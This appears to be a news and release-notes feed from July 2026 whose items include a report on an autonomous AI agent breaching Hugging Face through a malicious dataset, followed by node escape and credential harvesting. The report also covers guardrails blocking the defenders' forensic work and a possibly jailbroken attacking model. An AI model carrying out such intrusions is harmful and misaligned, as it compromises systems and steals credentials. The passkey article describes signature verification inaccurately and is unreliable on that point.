Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
dynamic-workflow orchestration skill (landed, then reverted) — not shipping
memory provider-actions extension point (landed, then reverted) — not shipping
Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

👥 Contributors
450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.
Core team

@teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
@OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
@kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
@ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
@benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
@alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
@helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
@austinpickett — desktop custom endpoint settings
@SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

@srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
@HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
@UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
@xxxigm —  leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
@erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
@Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
@necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
@DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
@shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
@vishal-dharm — Gemini request-context improvements
@PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
@alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors
@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,

@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,

@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,

@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,

@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,

@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,

@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,

@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,

@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,

@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,

@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,

@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,

@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,

@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,

@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,

@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,

@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,

@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,

@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,

@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,

@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,

@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,

@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,

@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,

@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,

@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,

@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,

@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,

@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,

@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,

@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,

@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,

@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,

@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,

@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,

@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,

@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,

@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,

@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,

@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,

@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,

@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,

@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,

@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,

@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,

@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,

@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,

@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,

@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,

@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,

@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,

@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,

@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,

@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,

@ziliangpeng, @zwcf5200, @zzpigpinggai
Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20


Heartland Seasons 19 and 20 Netflix Release Date: Everything We Know
Mon, 20 Jul 2026 19:38:22 +0200
Heartland Season 19 has started reaching Netflix in several countries, although viewers in the United States still face a much longer wait. Season 20 is also confirmed, but its Netflix release remains further away.



Here are the details:




Genre: Family drama



Season 19 episodes: 10



Season 19 Canadian premiere: October 5, 2025



Season 20 Canadian release: Fall 2026



Where it airs first: CBC and CBC Gem in Canada




When Will Heartland Season 19 Be on Netflix?



Netflix added Heartland Season 19 in several international regions around March 17, 2026. However, availability varies between countries because separate broadcasters and streaming platforms control the show’s distribution rights.



Netflix subscribers in the United States should expect a longer delay. UP Faith & Family currently holds the first streaming rights for Season 19 in the country, while UPtv began broadcasting the season on March 19, 2026. The full season is already available through UP Faith & Family.



Because UP’s exclusivity period generally lasts around one year, Season 19 will probably arrive on Netflix US between early and summer 2027. Netflix has not announced an official date, so this window remains an estimate based on the show’s existing release pattern.



What Happens in Heartland Season 19?



Spoilers ahead: Season 19 returns to Amy Fleming and her family as they protect Heartland Ranch while facing new personal and professional pressures. Amy continues helping troubled horses, although changes around the ranch force her to reconsider what she wants from her future.



The season also follows Lou, Jack, Tim and the younger members of the family as new relationships, responsibilities and difficult choices reshape life in Hudson.



Earlier seasons followed Amy’s journey from a grieving teenager into an experienced horse trainer and mother. The series has continued exploring family, loss, recovery and the challenges of keeping the ranch together.



When Will Heartland Season 20 Be on Netflix?



Heartland Season 20 will premiere on CBC and CBC Gem in fall 2026. The new season marks two decades of the long-running Canadian drama.



International Netflix regions will probably receive Season 20 sometime in 2027. US viewers may need to wait until 2028 because the season must first complete its Canadian run and UP Faith & Family exclusivity period.



Netflix release dates will continue to vary by country. Are you waiting for Season 19 on Netflix, or have you already watched the latest events at Heartland Ranch? Let us know in the comments.


Hacker Wipes Romania's Entire Land Registry Database
Mon, 20 Jul 2026 19:23:29 +0200
A hacker reportedly wiped Romania's entire land registry database after a failed extortion attempt, halting property transactions across the country and preventing notaries from issuing land extracts, authenticating sales, or registering mortgages. "On the dark web, the hacker also boasted to have begun backup copies of stolen data in an attempt to prevent it from being restored," reports Cybernews. "However, Romanian officials have managed to at least restore the ANCPI's website and post a message saying they were rebuilding the agency's entire network from scratch. It appears that the agency has an offline copy of the wiped data." From the report: First, the hacker breached Romania's cadastre agency, the National Agency for Cadastre and Real Estate Advertising (ANCPI), posting on a hacking forum: "[RO] Thy arss shall be spanked, Romania! [ANCPI]." "In addition to the data of Romanian citizens, from various databases collected through ANCPI networks, there is also a copy of the GitLab servers containing the source code of all their systems, such as Eterra, RENNS, as well as a version of my little ransomware program," the announcement continued.
 
"The official government website announced a shutdown of IT systems due to 'technical problems,' but this is a bit of an understatement. An offer of assistance was made, but without insistence or pressure." Indeed, the ANCPI initially claimed technical issues but had to admit it was facing a cyberattack. Today, no one can really access the institution's systems. And since the extortion didn't work, the hacker -- who seems to have entered the database using valid credentials -- deleted all data they had stolen, including internal documents, employee credentials, and, of course, land registry data.






Read more of this story at Slashdot.


Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems
Mon, 20 Jul 2026 18:03:18 +0200
Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.
The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.
Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.
None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”
A malicious dataset opened two code-execution paths
On July 16, Hugging Face disclosed that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces. 
Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.
The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.
Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion. 
Why the defenders’ queries looked like attacks
Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.
First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.
Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”
The forensic analysis finished on GLM 5.2
GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.
What authenticated trust changes
The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”
“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”
Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”
AI-enabled attacks rose 89% year-over-year
Autonomous AI-driven attacks are not limited to AI platforms. CrowdStrike’s 2026 Global Threat Report documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.
Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.
AI Pipeline Breach Response Playbook
Control Domain What Broke Monday Action
Dataset admission controls Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure. Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.
Worker-to-node privilege boundaries Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime. Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.
Credential exposure Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend. Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.
Machine-speed detection Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure. Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.
Private AI forensic capacity Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately. Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.
Autonomous-agent threat modeling The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown. Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.
The board question is operational resilience
“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy. 
She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.
“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued. 
Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”
Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.


v1.18.4
Mon, 20 Jul 2026 17:47:33 +0200
Core
Improvements

Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (@chouqin)

Bugfixes

Reduce OpenAI provider header timeouts during slow connection setup.
Respect provider-defined reasoning options instead of falling back to the wrong reasoning controls.
Restore Azure Cognitive Services endpoint support for Azure-hosted models.

Desktop
Improvements

Sync the embedded terminal theme with the app theme.
Improve the review panel so open file tabs can stay aligned with the current diff view.
Rewrite the v2 prompt input for more reliable command, context, shell, attachment, and history interactions.
Improve review panel resizing and sticky controls.

Bugfixes

Preserve command drafts in the command menu.
Avoid session view failures when message parent links are missing.
Prevent sending empty prompt text parts.
Restore model variant selection accessibility.
Show keybind tooltips on prompt input controls. (@ProdigyRahul)
Deduplicate repeated file entries in diff summaries.
Prevent recovery window handling from touching destroyed windows.

Thank you to 3 community contributors:

@jerome-benoit:

fix(nix): relax Bun version check for desktop build (#36767)
fix(nix): restore desktop integration (#37197)


@ProdigyRahul:

fix(app): show keybind tooltips on prompt input controls (#37824)


@chouqin:

feat(opencode): use adaptive thinking effort for kimi family on anthr… (#37696)





Hören Sie auf, Passwörter zu verwenden und nutzen Sie diese bessere Alternative
Mon, 20 Jul 2026 16:18:31 +0200





Passwörter sind nervig und in vielen Fällen unsicher. Aber zum Teufel mit dem Aktualisieren und Verbessern der Passwörter. Entscheiden Sie sich lieber für das Ersetzen. Genauer gesagt: Ersetzen Sie Ihre Passwörter durch Passkeys.



Passkeys müssen nicht auswendig gelernt werden, können direkt auf Ihrem Smartphone gespeichert werden und sind sicherer als Passwörter. Ein besonderer Vorteil: Sie sind Phishing-resistent. Außerdem sollten Ihre Anmeldedaten, falls eine Website gehackt wird (was heutzutage nur allzu häufig vorkommt), weder knackbar noch für andere nutzbar sein.



Wenn Sie einen Passkey erstellen, werden sowohl ein öffentlicher als auch ein privater Schlüssel generiert. (Dies wird als Public-Key- oder asymmetrische Verschlüsselung bezeichnet.) Der private Schlüssel wird von Ihrem Gerät oder Passwort-Manager verwahrt. Zu den unterstützten Geräten gehören Smartphones, Tablets, Hardware-Dongles wie YubiKeys und kompatible PCs. Sie können wählen, ob Sie Passkeys lokal auf Ihrem Gerät oder in der Cloud speichern möchten.



Diese geheimen Schlüssel werden durch die biometrische Authentifizierung Ihres Geräts (z. B. Fingerabdruck oder Gesicht) oder durch die Methode gesichert, die Ihren Passwort-Manager schützt.


Hardware-Sicherheitsschlüssel wie YubiKeys können Passkeys speichern und gleichzeitig als Methode für die Zwei-Faktor-Authentifizierung dienen.
Alaina Yee / Foundry



Der öffentliche Schlüssel wird hingegen an die Website weitergegeben, für die er generiert wurde. Sie benötigen sowohl den öffentlichen als auch den privaten Schlüssel, um sich bei dem Konto anzumelden, mit dem sie verknüpft sind. Bei jeder Anmeldung fordert die Website über die folgenden Schritte einen Nachweis an, dass Sie der Kontoinhaber sind:




Eine Anfrage wird an Ihr Gerät (oder Ihren Passwort-Manager) gesendet, um den Verifizierungsprozess zu starten.



Ihr Fingerabdruck, ein Gesichtsscan oder eine andere Authentifizierungsmethode ist erforderlich, um die Anfrage zu autorisieren.



Wenn Sie zustimmen, wird Ihr privater Schlüssel (auch bekannt als geheimer Schlüssel) verwendet, um eine digitale Signatur zu erstellen, die dann an die Website gesendet wird.



Die Website verwendet die digitale Signatur dann, um zu versuchen, den von Ihnen angegebenen öffentlichen Schlüssel zu entschlüsseln. Ist dies erfolgreich, haben Sie Zugriff.




Wenn Passkeys korrekt implementiert sind, kann niemand Ihren privaten Schlüssel anhand des öffentlichen Schlüssels ableiten – was bedeutet, dass Datenlecks und Sicherheitsverletzungen nicht so gefährlich sind. (Zumindest was die Sicherheit von Passwörtern angeht.) Passkeys funktionieren zudem nur für die spezifische Website, für die sie generiert wurden, sodass sie nicht von gefälschten, bösartigen Websites erfasst oder verwendet werden können – genau so stehlen Phishing-Betrüger normalerweise Passwörter.



Der einzige wirkliche Haken bei Passkeys besteht darin, dass Sie sie lokal auf einem Gerät speichern – wenn Sie das Gerät verlieren, könnten Sie aus Ihrem Konto ausgesperrt werden. Dies geschieht jedoch nur, wenn Sie sich bewusst dafür entscheiden, einen Passkey lokal zu speichern, beispielsweise auf einem Windows-PC mit einem rein lokalen Konto (was heutzutage selten ist) oder auf einem YubiKey. Sie können solche Probleme leicht vermeiden, indem Sie ein zweites Gerät oder einen Hardware-Sicherheitsschlüssel nutzen und/oder Ihrem Konto als Backup ein extrem sicheres Passwort sowie eine Zwei-Faktor-Authentifizierung hinzufügen.



Diese letzte Option macht Passwörter zwar nicht vollständig überflüssig, bringt Sie aber zumindest für den Alltag schon ein gutes Stück weiter. Ich persönlich finde das Einloggen mit einem Passkey schneller als mit Passwörtern, selbst wenn ich einen Passwort-Manager mit automatischer Ausfüllfunktion verwende. 



Wenn Ihnen der Umstieg wie eine große Aufgabe erscheint, beginnen Sie zunächst mit den großen Diensten wie Google, Apple und Microsoft sowie mit großen Online-Shops wie Amazon. Die Umstellung Ihrer am häufigsten genutzten Apps und Websites sowie aller Dienste, die mit sensiblen Informationen (einschließlich Rechnungsdaten) umgehen, macht Ihr Online-Leben bereits sicherer und bequemer.




Google erlaubt Android-Nutzern kein Gratis-Backup mehr: Schonfrist von 45 Tagen
Mon, 20 Jul 2026 15:33:30 +0200





Google wird nun alle Daten von Android-Sicherungskopien auf den Speicherplatz im Google-Konto des Nutzers anrechnen, wie die Seite Engadget berichtet. Bislang wirkten sich lediglich Inhalte in Google Fotos sowie Bilder und Videos in MMS-Sicherungskopien auf das Speicherkontingent aus.



Für neue Android-Nutzer gilt die Änderung seit dem 7. Juli 2026. Für bestehende Nutzer gilt eine Schonfrist von 45 Tagen, bis sie in Kraft tritt. Google informiert Nutzer per Mail dazu:




Wir möchten dich über eine bevorstehende Aktualisierung unserer Speicherrichtlinien informieren. Außerdem führen wir neue Steuerelemente ein, mit denen du deine Android-Sicherungen besser verwalten kannst.



Richtlinienänderung: In 45 Tagen werden alle Daten, die in den Sicherungen deines Android-Geräts enthalten sind, auf das Speicherplatzlimit deines Google-Kontos angerechnet. Fotos und Videos in Google Fotos und MMS-Daten werden bereits jetzt in deinen Google-Kontospeicherplatz einbezogen. Mit dieser Änderung werden auch alle anderen gesicherten Daten wie SMS, Anruflisten, Geräteeinstellungen und App-Einstellungen auf deinen Google-Kontospeicherplatz angerechnet. Nach Inkrafttreten dieser Richtlinie wird deine Gerätesicherung möglicherweise mehr Speicherplatz belegen. Wenn das Speicherplatzlimit deines Google-Kontos überschritten ist, werden automatische Sicherungen pausiert, bis du Speicherplatz freigibst oder dein Abo upgradest.




Laut Google werden die Auswirkungen dieser Änderung recht begrenzt sein. Android-Sicherungskopien werden im Durchschnitt etwa 40 Megabyte zusätzlichen Speicherplatz beanspruchen. Gleichzeitig werden weitere Einstellungen eingeführt, die den Nutzern mehr Kontrolle darüber geben, was gesichert wird.



Zuvor wurde etwa bekannt, dass Android-Nutzer eine wichtige neue Backup-Funktion erhalten, mit der sie selbst entscheiden können, welche App-Daten gesichert werden sollen und welche nicht. Demnächst möchte Google noch einführen, dass Nutzer ihre Geräteeinstellungen, den Anrufverlauf sowie SMS- und MMS-Nachrichten aus dem Sicherungsvorgang ausschließen können.



Es ist erwähnenswert, dass Google im Mai gleichzeitig den kostenlosen Speicherplatz für neue Konten von 15 Gigabyte auf 5 Gigabyte reduziert hat. Es sei denn, der Nutzer verknüpft eine Telefonnummer mit dem Konto.



